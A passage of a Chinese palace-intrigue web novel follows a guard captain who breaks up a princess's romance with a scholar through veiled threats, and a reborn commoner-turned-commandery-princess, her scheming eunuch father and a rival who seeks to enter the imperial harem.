淑阳公主在齐王府里是小可怜,或者说除了世子李明弘外,旁人瞧了齐王的态度不乐意多亲近。 可落在赵济世的眼中,这一位淑阳公主是天大的人物。贵人嘛,也不必下等人去可怜同情。 毕竟普通人求一个生存温饱。至于安慰与需要等等,那些伤春悲秋,又或者为赋新词强说愁的事情,总要吃饱了的富裕之辈才可能唠叨一二。 赵济世觉得自己是穷困之辈,至少,他是出身于穷困之辈。 赵济世不止自己是如此,他的结义兄弟,他的同乡等等,皆是如此。 对于淑阳公主的一些逾矩之事。赵济世有齐王世子的暗示,不使力气,就是查一查,便是查了水落石出。 淑阳公主爱唱戏曲和读话本子,像是穷书生与富家千金的故事,公主与探花郎的故事等等。 淑阳公主不止敢想,她还敢干。 赵济世查着一些事情时,他无语凝咽。好在,淑阳公主没真的捅出什么大篓子。让赵济世擦干净了小尾巴还是容易的。 长风酒楼。 赵济世在一处雅间里,他瞧见了出王府的淑阳公主进到隔壁房间。 赵济世需要做的事情挺简单,就是当一回棒打鸳鸯里的棒。 在赵济世的隔壁,一处雅间之中。淑阳公主瞧着心上人。 这一位才子不是探花郎,他只是在燕京都赴考的举子。 虽是举子,也是寒门出身。非如此,也读不起书,赴不起考举。 对于举子而言,金榜提名,头等大事。除此外,小登科求一位贤妻。最好是世家女,岳丈大人能提携前程。 抱得美人归,不止抱了美人,更要拥抱前程无量。岳丈 的威力,那肯定比美人的威力更大。 举子姓程,程举子与淑阳公主的相遇跟戏曲有干系。 二人都好戏曲,程举子欢喜于淑阳公主的貌美容颜。同时,不可否认的,程举子从淑阳公主的寻常做派,还有行为举止之间探得一点秘密。 这一位喜好戏曲的李姑娘出身富贵。如此,唱一出才子佳人的现实版本。 他装不知,她的高贵。她不在意,他的“贫寒”。两情相悦,不止看了门第家世,更在乎了天长地久的爱情。 程举子爱李姑娘,更爱李姑娘代表了的清贵。 李姑娘爱了程举子,她就爱他的才华与英俊。 “程郎。”淑阳公主递回一个玉佩。这是她与程举子结缘的信物。 “我往后不能来此了。”淑阳公主满眼含了泪,想落,又不敢落。 “……”程举子瞧着李姑娘退回的信物,他当场傻眼了。 程举子一直以为李姑娘爱他,爱得为他痴,爱的为他狂,就差哐哐撞大墙。 哪料想,李姑娘想跟他分了?程举子傻眼。愣在了当场。 隔壁听一回戏的赵济世,他听了墙角,尔后,他跟程举子一样的态度。 赵济世搁下拿在掌中的茶盏。他以为世子吩咐的差遣有难度。哪料想,简直就是送功劳。 瞧一瞧,淑阳公主多冷静的皇室公主。真的人间清醒。 赵济世心里美滋滋,这一回的差遣,他不必动手。甚好。 赵济世感慨归感慨,听戏还得继续。 至于隔壁的大戏,淑阳公主都掀台了。哪还能继续唱下去? 淑阳公主想离开,跟她而来的丫鬟婆子是恭敬相陪。 至于程举子想纠缠?自然有丫鬟婆子拦着。 程举子在大庭广众之下,他要脸。于是只能瞧着淑阳公主远去。 尔后,程举子被人又请到隔壁。赵济世端坐于此。 “程举子,头一回见面,幸会。”赵济世客气的请程举子落坐。 程举子没有落坐。做为书生,他要讲究一下读书人的气节。 赵济世身上的武人气息太浓,程举子是不想亲近的。 程举子的态度带着傲慢,赵济世不在意。赵济世只是冷漠开口。 “程生,程廷清,年二十,祖籍淮安。”赵济世念着程举子的生平事迹。不止如此,程举子的亲人故旧,也在赵济世的嘴里一一念出来。 同时,赵济世还念一遍程举子的亲人家眷里,又有哪一些人犯了哪一些事。又应该遭了官府哪一些刑罚。 要是行得正,自然立得直。程举子自己有一点小小的瑕疵,这不要紧。程举子的亲人家眷里犯了刑事的,那就很要命。 毕竟有一些事情不上秤,都能含糊过去。一旦落了呈堂证供,被上了秤的话,几千斤都打不住,那是要吃不了兜着走。 谁让世人最爱干的事情,从来是落井下石。 一旦墙倒,肯定被众人推平。还不止如此,更可能被人踩踏了无数脚。 落了万丈深渊,再想爬起来,那是难上加难。 上面的位置是有数的,一个萝卜一个坑。没人倒台,又哪有人上位? “你想做甚?”程举子急言厉色的问道。 “做甚?”赵济世继续冷漠脸,他平平淡淡的讲道:“李姑娘的态度很明白,请程举子多想一想。至于李姑娘的长辈嘛,贵人顾及脸面,不想伤了李姑娘的清誉。有时候愿意退一步,让彼此都做了赢家。” “我这般讲,程举子可懂?”赵济世问道。 “你是李姑娘的长辈的说客。”程举子问道。 “我不配做甚的说客。”赵济世自嘲的回道。 “我只是一个小棋子,来跟程举子示意的。敬酒、罚酒,请程举子自己选择一样。”赵济世笑了,这会儿一笑,笑意不入眼底,不入眸子里。 程举子突然觉得秋日好时节里,他有一点冷,还忍不住的颤抖一下。 大晋朝,镐京都,内城,浑江郡主府。 来了京城,万珍珠的小日子很舒坦。不止她如此,亲娘亦如此。 当家作主的感觉是如此好,万珍珠留恋着。 “珍珠,瞧瞧,又有请贴。”牛二囡跟闺女讲道。 万珍珠在赏景,不止赏景,她还做画。此时亲娘递了新请贴。万珍珠停了手头的画笔。 待画笔搁于笔架后,万珍珠拿起亲娘递上来的请贴。 “荣恩伯府。”万珍珠讲道:“娘,荣恩伯是王贤妃的父亲吧。” “你没记错,荣恩伯就是三皇子的外祖父。”牛二囡回道。 荣恩伯,三皇子的外祖父,后宫里王贤妃的生父。 因着三皇子是宫廷里唯一健康平安的小皇子,这荣恩伯府的份量自然不轻。 不看眼前,更主要还是看未来的前程。买投资,买股嘛,很多人是乐意压一注在荣恩伯府上的。 “既然伯府盛情邀请,自然不太好拒绝的。”万珍珠笑道。 王贤妃是不是宠妃,那不重要。三皇子的份量就很重要。 万珍珠想朋友多多,她肯定不能拒绝了荣恩伯府的美意。 牛二囡点点头,她也赞同闺女的意思。 来到镐京都后,一直被人吹着捧着,问牛二囡对于各家主母们的聚会什么态度?她自然是满意的很。 牛二囡很高兴于参加这些的聚会,彼此商业互吹,你好我好,快快乐乐。 镐京都,内城,朱府。 朱凤曦收到了请贴。她瞧一眼,想推辞掉。 可惜朱凤曦没能够推辞掉。到底是亲朋故旧的善意。朱凤曦最后点头了,她同意参加聚会。 人在网中,一步一步行来,朱凤曦想自由自在。哪有可能? 借了力,借了势,免不得就要替旁人考虑一二。 若是随心,自己这一边的人心就都要先散了去。 荣恩伯府,秋日赏菊。 赏菊宴一开,四方宾客来。这一回来做客的除了各府主母,还有各府未出阁的千金。 万珍珠与亲娘参加赏菊宴,人一至,先被迎了主厅去。 牛二囡得到敕命们的拥簇,她乐得去听一听旁人的好话。 至于万珍珠这儿,荣恩伯府的四姑娘待客。先请万珍珠去闺阁小院做客。 如此,万珍珠倒不好拒绝王四姑娘的美意。 赏菊宴。 落了千金们这儿,这些名门淑媛自然不差了吟诗做画的兴致。 万珍珠提笔,她也是爱好画上几笔。如今有兴致,就挺乐意结交上几个好友。 以画会友,兴之所致。倒不算为外物,为利益。纯粹是图一个乐。 “郡主这画,画有新意。”王四姑娘赞一回。 东主姑娘赞了话,王四姑娘的手帕交一样跟着附合。 在众位千金的拥簇下,万珍珠这一刻是光芒万丈的。 至少落于来做客的朱凤曦眼里,浑江郡主万珍珠是立于众人的中间,份外夺目,份外光彩。 那般的位置,在永州地界时,于朱府摆宴了,从来是朱凤曦站的位置。 可来到了镐京都,朱凤曦参加过几回的聚会。她发现,她每一回撞上浑江郡主万珍珠,她瞧的都是浑江郡主如何的风光赫赫。 若不曾低头,便不知低头的滋味如何。若是低头了,不能心服口服,那口服心不服的滋味,难受在心底,堵在心湖里。 问朱凤曦什么感想,她如今就是品出来了复杂莫名,似酸酸涩涩,似苦苦难堪。 朱凤曦避开了,她一点不想瞧见浑江郡主的耀眼。 朱凤曦躲了一个角落,这一个她曾经不会站的位置。 “真羡慕王四姑娘。” “荣恩伯府的威风,那当然让人羡慕了。” 有人小声嘀咕,还让躲在假山后的朱凤曦听一耳朵。 静静听着,朱凤曦不曾打扰。这些闲话,朱凤曦听见,也装着不知。 “要说起来,浑江郡主也够威风。”又有话语传出。 “唉呀,浑江郡主一入镐京都,在哪府做客不如此威风。” “真羡慕,被人捧着多好。” “浑江郡主是威风,可差着荣恩伯府,那欠了一位贤妃娘娘的尊荣,更缺了皇子殿下的尊贵。过三十年, 你再瞧瞧。浑江郡主又哪比得过荣恩伯府的富贵荣华。” “……” 朱凤曦听着这些话,她心头颤动。 这一日,朱凤曦回了镐京都的府邸。在陪着母亲用过夕食后。 朱凤曦跟母亲主动问话。她想问了,她何时寻着机会入宫。 “你着急?”杨夫人问女儿。 太医治过,名医诊过,杨夫人的情况好上一些。简单说几字,杨夫人还是吐得清楚了。 “……”朱凤曦沉默。 朱凤曦不敢说,她不着急。魏皇后会被废,若能早一日入宫,总能早一日谋划。 朱凤曦是心有千千结,一时半会儿,她又不知如何跟母亲讲。 “随你心。”杨夫人轻轻摇头,又吐出三字。 到底是女儿的执念了,杨夫人劝不动。她也不想再劝。没得劝来劝去,倒让母女成仇。 朱凤曦有心事,可这会儿她也察觉了母亲的失落。 “娘,凤曦错了。”朱凤曦跪在母亲跟前,她先认错,又是低头。 “起来。”杨夫人想拉起女儿。可杨夫人无力的手,又哪能拉住女儿起身。 这会儿的朱凤曦顺势,她是伏低了头在母亲的膝上。 “娘,我们说说心里话,我们就谈谈心情,好不好?”朱凤曦的低姿态让杨夫人心软。 人有两面,在女儿跟前,杨夫人从来是慈母心。 哪怕在旁人面前,杨夫人不介意了狰狞血腥,视人命如草芥。只能说人与人,在不同人的心底是价值不同,筹码不同。 可能有的人,在某某心底,重于泰山。更可能一些人,在某某心底,不过一串儿的数字,微不足道也。 “唉,说说。”杨夫人抚了女儿的青丝。 “娘,我想搏一场天家富贵。”朱凤曦咬着牙,她再度肯定自己的念想。 在镐京都里被人轻视。不,更准备的说法是被人忽视。 无足轻重的感觉让朱凤曦适应不了。活在众人的焦点里,朱凤曦更习惯了在舞台的中间。 让朱凤曦低头,伏低一时可以。伏低一辈子,她不想,做不到。 秋过,冬来。一场初雪,纷纷扬扬。 镐京都,内城,浑江郡主府。 万珍珠陪着难得回府的亲爹吃茶。花厅里,父女二人相对而坐。 万珍珠亲自煮茶,斟茶。至于果子点心,也是万珍珠亲手做的,做的精致小巧,味道还挺不错。 至少让万忠良品一品,他也夸了亲闺女的巧思。 “你这厨艺不错,不止做得一手好茶饭。这点心果子也是拿得出手。”万忠良夸道。 “咱当爹的有福。你将来的夫婿儿女也有福。”万忠良笑呵呵。 “女儿还小呢,女儿就想多陪一陪爹爹。爹爹,女儿晚一些成婚可好。”万珍珠笑语盈盈,央求话道。 “晚成婚?”万忠良摆摆手,说道:“那可不成。咱还等着抱孙子。莫说咱,闺女,你娘也盼得急啊。” “……”万珍珠沉默了。 万珍珠来到镐京都后,她参加各府的聚会。不止她乐意,她亲娘更乐意。 亲娘是开心听了吹捧声。可亲娘更乐意相看一下未来的女婿。 这不,亲娘开心的,那是乐不可吱。 只是人选大多,让万珍珠的爹娘挑花眼,一时之间,倒是慢腾腾下来。 可早早晚晚,这人选总要定下来。如此,万珍珠才想拖一拖。 “爹爹,女儿舍不得您,舍不得娘。”万珍珠讲道。 “要不,女儿招婿?”万珍珠提一个建议。 “不可。”万忠良一口否决掉。 “爹爹,你对女儿的婚事有章程的,对吗?”万珍珠问道。 “……”万忠良不回话,他就笑笑。此时此刻,万忠良挥挥手,让侍候的仆人全退下,退得远远的。 如此,父女二人在花厅不止赏了窗外的景致,更是谈话之时,不留旁人窃听。 “闺女,你问咱的章程?”万忠良搁下手头的茶盏。轻轻一搁,茶盖却是响一声。 那一声响,似乎响在万珍珠的心湖里。她低下头似乎在思考。片刻后,又抬头。 万珍珠笑道:“爹爹是大人物。女儿来镐京都的风光全是爹爹赐予的。女儿最信爹爹的眼光。您说好的人物,没有不好的道理。” 好话嘛,万珍珠先捧上。这会儿她真想听一听自家老头子的打算。 “若招赘婿,这等主意,闺女,你莫多想。不止咱不答应,你娘也不会答应。”万忠良开门见山的打破亲闺女的小心思,小弯绕。 “咱如今风光,可这风光到几时,咱是不知道。”万忠良脑子很清醒。他没被如今的风光冲晕脑子。 “咱想百年之后,还有血食祭祀。闺女,你这婚事,咱得细想,咱得多想。”万忠良指一指自己的脑袋位置。 瞧着亲爹伸手一指,点一点额头位置。万珍珠的神色变了,也是严肃起来。 “女儿听爹爹教诲。”万珍珠认真回道。 “咱家风光,说起来结交不少人脉。可咱家倒台,这些人脉值钱几何,咱不知道。”万忠良指一指茶盏,又伸手,拿开茶盖。 万忠良指着茶汤,又道:“人走茶凉呐。” 这几字,万忠良说的真心实意。他见过,他更怕。太监风光时,那叫真风光。可一旦落魄了,那就真落魄。 不止是落魄,更可能没了归处。 万忠良若是一人,他不在意。风光够了,快活够了,一辈子也就活得够本。 可有了妻女,还想着子孙万代。万忠良就得多想,就得细想。 “闺女,怕吗?”万忠良突然问一句。 “爹爹问我,可是怕了人走茶凉,富贵难以长久?”万珍珠回话道。 “对啊,问你,可怕?”万忠良笑道。他似乎笑得坦坦荡荡。 “不怕。”万珍珠也回得坦坦荡荡。 “若无爹爹,女儿是任人宰割的奴才。有了爹爹,女儿是人人吹捧着的郡主娘娘。”万珍珠抖一抖衣袖。 “这锦衣,这华冠。”万珍珠再指一指自己头上的珠冠。 “没有爹爹,女儿一辈子也没福享受这些。莫说享受,曾经做奴才的女儿连想都不敢想。一旦想了,就是逾越了。”万珍珠讲的明明白白。 父女一体。没有当爹的显贵,哪来闺女的荣华。 “既然享受了,这一辈也值了。”万珍珠想着上一辈子的可恶收场。 再比较一下这一辈子享过的福。万珍珠觉得灿烂一回,也值一票。要是享受都没有,尽是吃苦。那才是遭心的很。 “爹爹,女儿若听您的,也不想了什么招赘婿。您给说一说,您想女儿嫁了什么样的好人家。”万珍珠就想探一探亲爹的心思。 “能护了你的夫婿,那才会入咱的眼。”万忠良给出答案。 “这个答案,没标准啊。”万珍珠想知了未来夫君的标准。 可亲爹不给标准,难了。 “闺女,你就不用着急了。瞧瞧,咱和你娘要挑女婿,可仔细着,不会误了你的终身大事。”万忠良一脸笑意。 “女儿信爹爹,女儿信娘亲。”万珍珠笑得开心。 可心底嘛,万珍珠还是琢磨了,这未来丈夫在哪? 父女二人又继续吃茶。此时,万忠良又提一事。这事让万珍珠关注上。 “朱府当年收留你们母女。如今求了人情,又送上来重礼。”万忠良瞧着闺女认真听。 他继续讲道:“那朱府想求的事,就是让他家的三姑娘入宫侍奉天子。还想走一走咱的门路。” “听你娘说,朱府三姑娘是一个好的。”万忠良说这话时,那态度含糊着。 万珍珠忙是低头,她在掩饰真性情。她很清楚,落亲娘的眼中,朱凤曦肯定哪哪都好。 在朱府那些年,万珍珠瞧亲娘待朱三姑娘有几分真感情。 至于问万珍珠对朱三姑娘的感想?没感情,不太熟。 奈何万珍珠要脸,真要一下子撕破体面吗?万珍珠在问本心。 “闺女,咱就想问一问你的看法。”万忠良笑问道。 第35章 “女儿太笨了,说话不中听。”万珍 珠声音低低的讲道:“不过爹爹问了,女儿实话实说。” “女儿讨厌朱三姑娘。”万珍珠垂低着头颅,她想掩去眼中的情绪。 前世的经历,种种的过往,让万珍珠对于朱三姑娘没有好印象。 恶果已品尝,怎么可能说前世旧事,这一辈子还没有发生,那就是两清? 狗屎。这等糊涂话,万珍珠不认。 前世独女没了,亲娘没了,万珍珠彼时的绝望。午夜梦里,她想忘记,都是忘不掉的。 现在没有做噩梦,纯粹是日子好过。让万珍珠在慢慢愈合曾经的伤口。 可是伤口愈合了,伤疤犹在,划在心湖,难以填平。 “真是讨厌,还是憎恨?”万忠良问道。 听着亲爹的问话,万珍珠抬头,她就挺惊讶。 “你在永州做过些什么,咱全都知道。”万忠良不卖关子,他坦白讲道。 在心头,万珍珠就差倒抽一口凉气。感情这些日子的卖乖,可能落在亲爹的眼中,全成了小儿辈的做秀? 多想想,万珍珠有一种被人看透的感觉。还好吧,幸好这是被亲爹扒了外皮,瞧着里面的黑心肝儿。 万珍珠知道,凭她干过的那些事情,真让外人瞧见,绝对会以为她多么的手黑心狠。 谁让朱三姑娘踩了万珍珠一家人一万脚,踩到泥里的事儿,那全是前世的旧事。 这一辈子没有发生过的事情,万珍珠想举证,她就是想复仇,也没人证物证。 空口白牙的,万珍珠也懒得替自己辩解什么。 “爹爹全知道了。”万珍珠平复一回心绪。尔后,她冷静的问道:“爹爹,您不问为什么吗?” “你是咱的闺女,咱帮亲不帮理。”万忠良说的朴实无华。哪怕是歪理,可万忠良认。 “谢谢爹爹。”万珍珠这一刻觉得心安了。 不是做秀,不是伪装。万珍珠觉得她懂了一个道理。为何有人会讲,吾心安处,方是吾家。 家是归处,家是港湾。这一刻,在亲爹的身上,万珍珠懂了血脉骨肉的含金量。 真金,不怕火的真。 感动了,万珍珠也坦白一场。她讲道:“爹爹,女儿心眼小,以前没能耐。现在有机会,我就不想让朱三姑娘再踩在了头顶上作威作福。” “……”万忠良瞧着面前的亲闺女,他沉默片刻。 “你可知永州朱府里消失掉一些人。”万忠良突然提一话,他的嘴里念出来几个名字。 “……”这一回是万珍珠沉默。 良久后,万珍珠问道:“爹爹,他们还活着吗?还有救吗?” 万珍珠自己做过位卑者,她太懂了,在上位者的心里,位卑者不算人,不过是一串数字。 偏生上位者的一句话又或者一个眼神。一旦落到了位卑者的身上,那就很可能会变成一座压死人的大山。 “闺女,你当初让宋三德办事,既鲁莽又胆大。如今,你想求咱问了结果,又当如何?”万忠良反问一回亲闺女。 “如果可以的话,女儿想让那些办事的人有一条活路。”万珍珠实话实说。 永州太远,千里之外。万珍珠连得着消息都难。真想救人,她也没辙。 万珍珠能求助的对象,只能是面前的亲爹。亲闺女向亲爹低头,万珍珠对于伏低做小什么的没半点抵触。 “不成。”万忠良肯定的回道。万珍珠听着这话,她抿紧唇。 瞧着亲闺女的做派,万忠良叹息一声,说道:“今教你一个乖,学懂一个道理。闺女,往后要记住,想为所欲为。咱不能,你就更不能。” 万珍珠抬头,她嘴唇动一动,就想讲一番话。 万珍珠尚未吐露话语。万忠良摆摆手打断,他继续说道:“闺女,你也莫要有心结。这世道就如此。上面贵人肯给机会,让人攀附了,那就是恩典。” “机会给了,能不能攀附上去,全都是命。”万忠良的眼神在这一刻变得锐利。 万珍珠瞧着亲爹的目光,她的心头像是被凉水浇过。万珍珠本来要沸腾的情绪在瞬间冷静下来。 “那爹爹会给朱三姑娘往上攀附的机会吗?”万珍珠一咬牙,便开口问道。 “给。”万忠良简单一字。 “这是资敌。”万珍珠不赞同,她辩驳道:“爹爹,都说踩过一个人,那就应该踩到底。绝对不能够让对方有机会爬得更高。如今天下,又岂有比天家站立得更高的位置。” “你踩过谁?咱怎不知。”万忠良问一回亲闺女。 “朱府旧事……”万珍珠想说,她在朱府干的事情,亲爹不是全都知道。 “谁说你干的?尽是糊涂话。”万忠良摆摆手,打断道:“没得给自己寻了黑锅扣头顶的道理。” “荒唐。”万忠良笑骂一句。 “朱三姑娘想进宫,这是朱氏一族的意思。朱氏一族,边镇名门。天家需要纳这样的嫔妃入宫,如此,两相便宜。”万忠良难得给亲闺女解释一番话。 “至于朱府消失掉的一些人,那不重要。”万忠良说话时的语气平平淡淡。他是真不在意。 “朱三姑娘一定会入宫,这是朱氏一族给天家的质子,可懂?”万忠良问亲闺女。 前面不懂,此时也懂。万珍珠轻轻点头,回道:“女儿懂了。” “既是质子,宫里也罢,咱这天子家奴也罢,肯定不能做糊涂事,一门心思的拒绝了边镇世族的美意。”万忠良的立身根本在皇家,在天子。 事情对于天子有好处,万忠良就得衡量一番。 “再则说,朱三姑娘不走咱这一条路。凭着朱氏一族的能耐,朱三姑娘也会入宫。既然是注定的事情,咱总要给一份体面。”万忠良替自己美言一番。 “至于朱府旧事,闺女,往后莫提。那些有的没的,不是你的锅,那就别扛了。”万忠良不是暗示,这是明示。 万珍珠太懂了。朱府旧事,已无后患。便是有些后患,在天子得到美人,在朱府送上美人后,过去种种,似如梦幻泡影。过去的,过去了。 可那些消失掉的人呢?万珍珠突然不敢问。 在此时此刻,万珍珠懂了,这一个世道啊,它吃人。 万珍珠突然觉得自己很可笑。她不要脸皮子。 明明有些事情是自己干的。虽然,她打着给他们机会,让他们去复仇。 唉。万珍珠突然觉得自己矫情了。若非亲爹在,她的前路,一样无路。 既然吃了亲爹的饭,就不能再砸亲爹给的碗。 “女儿全听爹爹的。”万珍珠重重点头。 活在这一个草台班子一样的世道里,没能耐改变时,那就躺着吧。 做一个英雄?想改变什么。万珍珠办不到。 唉,又是认清楚自己是废物的一天。万珍珠如是想着。 万忠良陪着女儿吃吃茶。 这会儿万忠良的心思却不在茶汤上。他心底有盘算。 有一些话,万忠良不会跟闺女讲。那便是亲闺女太看轻了天家的富贵。 富贵惹眼,泼天荣华更是动人心。与此同时,宫廷里的嫔妃尊荣也不是好享受的。想做天子宠妃,想要长盛不衰,难,难,难。 朝堂也罢,后宫也罢,全是斗兽场。在镐京都这等繁华地,一旦入场,斗争不休。 要么赢,要么输。赢了,自是欢喜。输了,全看胜利者的乐意与否? 有可能是被扒皮一回,赶出镐京都。若是默默蓄力,未尝不会有东山再起的机会。 更有可能是被碾成碎泥,十死无生。毕竟中原大地,有一句老话说得好,斩草不除根,春风吹又生。 万忠良怕,他落败后,他的妻女十死无生。 那么,朱氏一族嘛,既然得罪了,倒不妨送他们整整齐齐,全部团聚。 如何团聚,才会在阎王殿里不委屈?自然是九幽之下共团聚呗。 在心里头,万忠良已经谋划了一些事情。不过是在天子的心意上,再是顺道替自己谋一点小福利。 权臣倒台,天子亲政 。外戚势大,又当如何? 万忠良想到这些时,他的目光望一眼皇宫的方向。更准确一点的说法是望向了昭阳宫,那儿是魏皇后的寝宫。 万忠良的一双眸眼子里,此时此刻,那是透露了渗人的寒意。 次日,浑江郡主府。 万珍珠继续一日功课,她在学女红。只是手指头不听话,那绣的老鹰成了软趴趴的爬行动物。 “我儿……”牛二囡唤一声。 “娘。”万珍珠手头动作一顿,好歹手速快。真是慢一点,被这一惊住,她可能要被绣花针扎了指头。 “怎么了,出事了?”万珍珠搁下绣花针,好奇的问道。 “你爹吩咐,说是下贴子请三姑娘明日来府上做客。”牛二囡说了一件小事。 说这话时,牛二囡的脸上带着笑意。她貌似就挺乐意朱三姑娘做客的。 “真就做客,别无它事。”万珍珠不相信,便是随口一问。 “哪能呢。”牛二囡在亲闺女跟前不隐瞒,透露一点风声。 “听你爹的意思,这是让闺女你跟三姑娘多多的交好一二。三姑娘啊,有大前程。”牛二囡殷殷叮嘱。 第36章 高不成,低不就。这六字用在自己身上,赵济世完全承认。 特别是在姻缘一事,赵济世很头疼。于他而言,迎娶一位贤妻很重要,关乎前程。 可贤妻嘛,从来不是想娶就能娶到手。姻亲,特别是对于一个想往上爬的贫寒之辈而言,那更重要。 一门好的姻亲是助力,一门坏的姻亲是拖后腿的猪队友。 宁可空缺,万万不可让自己的队伍里出了坏份子。至少对于赵济世而言是如此。 “大哥,三弟家又添一女。弄瓦之喜。”马义给义兄赵济世报喜。 “好事。”赵济世高兴一回。 不止高兴一回,赵济世还准备给侄女备了贺礼。人不至,礼要到。 “大哥。”马义吞吞吐吐半晌,他还是想劝一番话,于是说道:“咱兄弟里就大哥一直没给迎娶嫂嫂。您瞧,您可不能再担搁了。如若不然,等着小一辈们长大。大哥,您膝下还空虚着,这就让弟弟们没一个着落。” “兄弟们都盼着大哥给添了大侄子。”马义又在催结义兄长成婚,最好今年迎新妇,明年就生胖娃娃。 在马义这些结义兄弟的心中,他们就认赵济世一个大哥。 至于小辈里,谁做领头羊?自然还是大哥家的大侄子领头。 其它人,兄弟们可能会有不服气的。若是大哥的儿子,兄弟们人人都是心服口服。 想北镇那地方是又穷又横之辈最多。一众兄弟混到如今的地位,有家有业,有妻有子,哪里来的? 全是大哥领着兄弟们一刀一刀拼搏出来的。其中,大哥还是出力最大。 要马义讲,他一辈子就服大哥一人。上刀山,下火海,一条命的小事。 甭管前程如何,甭管将来如何,大哥指哪,他跟定了。 “瞧你,又急。”赵济世笑一回。 其时这一个笑容嘛,更像是一种掩饰。赵济世想迎娶贤妻,或者说想迎娶对前程助力良多的贤妻。奈何,这人选难寻。 赵济世想攀附上的,人家未必乐意。 “……”马义瞧着大哥不想多谈。他就是例行一催。 多提了两句,便不再多嘴。马义也怕真惹着大哥烦心。 对于未来嫂嫂会是谁?马义心中,就觉得他大哥这般好的人物,总应该迎娶一位了不得的好嫂嫂。 大赵朝,燕京都,齐王府。 齐王世子李明弘见了妹妹淑阳公主。兄妹二人,对坐品茗。 淑阳公主瞧着兄长沉默,她先开口,说道:“为我的事,劳累兄长良多。您辛苦了。” 淑阳语气里全是感激。或者说在齐王府里,也便是一母同胞的兄长给了她一份温暖。 至于父王?淑阳公主淡漠,没甚多的感情。 “为兄无能。”李明弘的心情不美妙。 与大晋朝和亲一事,在李明弘的心底,那自然是姑姑贞静公主为好。 姑姑与他感情淡淡。可妹妹就不同,李明弘从小宠着,宠着宠着,便是搁了心尖尖上。 又或者说,李明弘把对过逝母妃的一片感情是全部的转移到了妹妹身上。 于此而言,李明弘更盼了妹妹淑阳一生幸福。 和亲?数遍青史,又有几位和亲公主的结局是美妙的。 李明弘欺骗不了自己。他太清楚,淑阳妹妹是前程莫测,晦暗不明。 “兄长若心疼我,倒不如成全我一桩事情。”淑阳公主开口央求道。 “妹妹有话,但讲无妨。”李明弘是非常乐意替妹妹解决一些小烦心事。 “此去和亲,路途遥远。”淑阳公主的目光是望向了大晋朝所在的西方。 “我想借用兄长身边的得力之人。我听说兄长身边的赵侍卫长武艺非凡,本事高超。不若,就让他做我陪嫁时的护卫统领吧。”淑阳公主点了赵济世的名。 “这事情只要兄长同意,父王也一定会允许的。”淑阳公主的目光落在兄长身上,此时此刻,她的唇畔含了一抹笑容。 淑阳公主相信了,她的兄长会同意。 事实也如淑阳公主所预料的,李明弘没有多犹豫,他点头了。 “好。”李明弘应允道。 “我就知道,兄长心疼我的。”淑阳公主灿烂一笑。 “不,应该是妹妹替我解忧了。”李明弘反驳一回亲妹子的话。 为何?不外乎李明弘知道,他家妹妹知道一些事情。 李明弘最近在拉拢一些人。名门世家出身的公子郎君们免不得是浑身的骄傲。 齐王世子李明弘知道一桩事情。便是他的侍卫长赵济世向崔氏提过亲,崔氏没同意。 崔氏一族的主脉五房嫡子崔琝,本月上任从五品的秘书丞一职。 秘书丞,可谓是世家子弟最好的起步台阶。既清闲又要紧,还名声好。 从此处,亦能说明崔氏一族的份量。目前嘛,崔琝乐于亲近齐王府,更乐于跟齐王世子李明弘走近一点。 李明弘很高兴。于此,崔氏一族在齐王世子跟前又提一嘴赵济世。 那态度多明显,崔氏一族不愿意让齐王世子误会一些事情。 误会什么?端看齐王世子是如何想法。 在崔琝代表的势力面前,赵济世的作用免不得变弱。 左右拿捏,权衡一番。齐王世子李明弘自然想冷处理一回。如今嘛,让赵济世再跑一趟大晋也成。 远远的了,又过上一些时日,一些事情自然就会淡化掉。 赵济世嘛,齐王世子李明弘还要用。只是在重用之前,一点敲打,不过旧例。 论齐王世子李明弘的盘算,他不太想让赵济世跟世家攀附太近。 武官嘛,掌兵的。齐王世子既要用,也要防。 至于说世家瞧不上武人?其时也要看武人的出身。 赵济世的出身,那属于边镇贫寒之辈。 哪怕是崔氏一族的旁枝女,崔氏一族一样不乐意下嫁给赵济世这一位齐王世子跟前的侍卫长。 无它,这根脚就太差,落在齐王世子眼中,还真的怨不了崔氏一族瞧不上。 大晋朝,镐京都,内城,浑江郡主府。 万珍珠迎了做客的朱凤曦。二人都是客客气气的态度。 这会儿的朱凤曦笑容灿烂,她还提建议道:“郡主,我多嘴一回。您瞧,我们得闲了,不如玩些气氛松快的活儿。” “好啊。”万珍珠没拒绝。依着亲爹的意思,朱府旧事,尽数翻篇。 目前势态,朱三姑娘注定要飞上枝头,那么浑江郡主府自然是得把表面功夫做足。 万珍珠最听劝,她不会跟亲爹对着干。 让万珍珠巴结朱凤曦,她真做不出来。现在的万珍珠太要脸,她想站着做人,舒坦的过日子。 “还请三姑娘给拿一个主意。”万珍珠把舞台让出来,就想瞧瞧,这一位朱三姑娘又是如何的主张。 “听说镐京都的贵女们喜欢秋猎。不若郡主做东,再约时间,多邀请一些人到镐京都的郊外庄子上秋猎一回,如何?”朱凤曦提议道。 “……”万珍珠沉默。 前世今生,骑马这等事情跟万珍珠的身份不匹配。 这一辈子,在万珍珠尚未曾认回亲爹前,她连摸着马屁股的机会都没有。 至于住进郡主府后,这日子过得开开心心。万珍珠还真没有想起来学骑马这一桩小事。 “秋猎,我来主持?”万珍珠迟疑片刻,说道:“要不,我跟爹娘商量一回吧。” 很难得的,这是朱三姑娘先提了建议,万珍珠不好在明面上拒绝。 可让答应?她又不会骑马。 还去主持什么秋猎,要真闹出乱子,倒时候就是贻笑大方。 让拒绝掉?万珍珠又是舍不得。 搁心眼里,万珍珠挺欣赏了弯弓狩猎时的英姿飒爽。 再想一想,若是美人儿策马奔驰,神采飞扬。唉呀,不忍心拒绝了。 关于浑江郡主府散请贴,邀请一些镐京都的官府千金参加秋猎一事。这事情闹得不大,只是在一些小圈子里传扬开。 荣恩伯府内宅,一处赏菊的花园子里。 王四姑娘拿着小剪子,咔擦一声,就是剪下来一朵开得亭亭玉立的绿菊。 绿菊,这等花色很少。可谓是文人墨客吹捧之中的国色天香,名贵之花。 可搁在王四姑娘跟前,也不过是轻轻一剪子,让她随意剪了来赏玩嗅香的小玩意儿。 “姑娘,浑江郡主府的贴子,您瞧,前个儿递到府里的。还待您的意思回复。”王四姑娘跟前的一等大丫鬟素纱寻问话道。 说是寻问,不若说是提醒,就怕贵人事忙。自家的主子姑娘给忘记了这一桩小事。 王四姑娘瞧一眼拿捏在手中的绿菊,道:“这菊,香味不纯。” “素纱,回了信儿,就道我一定参加。”王四姑娘简单交代道。 “唯。”一等大丫鬟素纱忙应话。 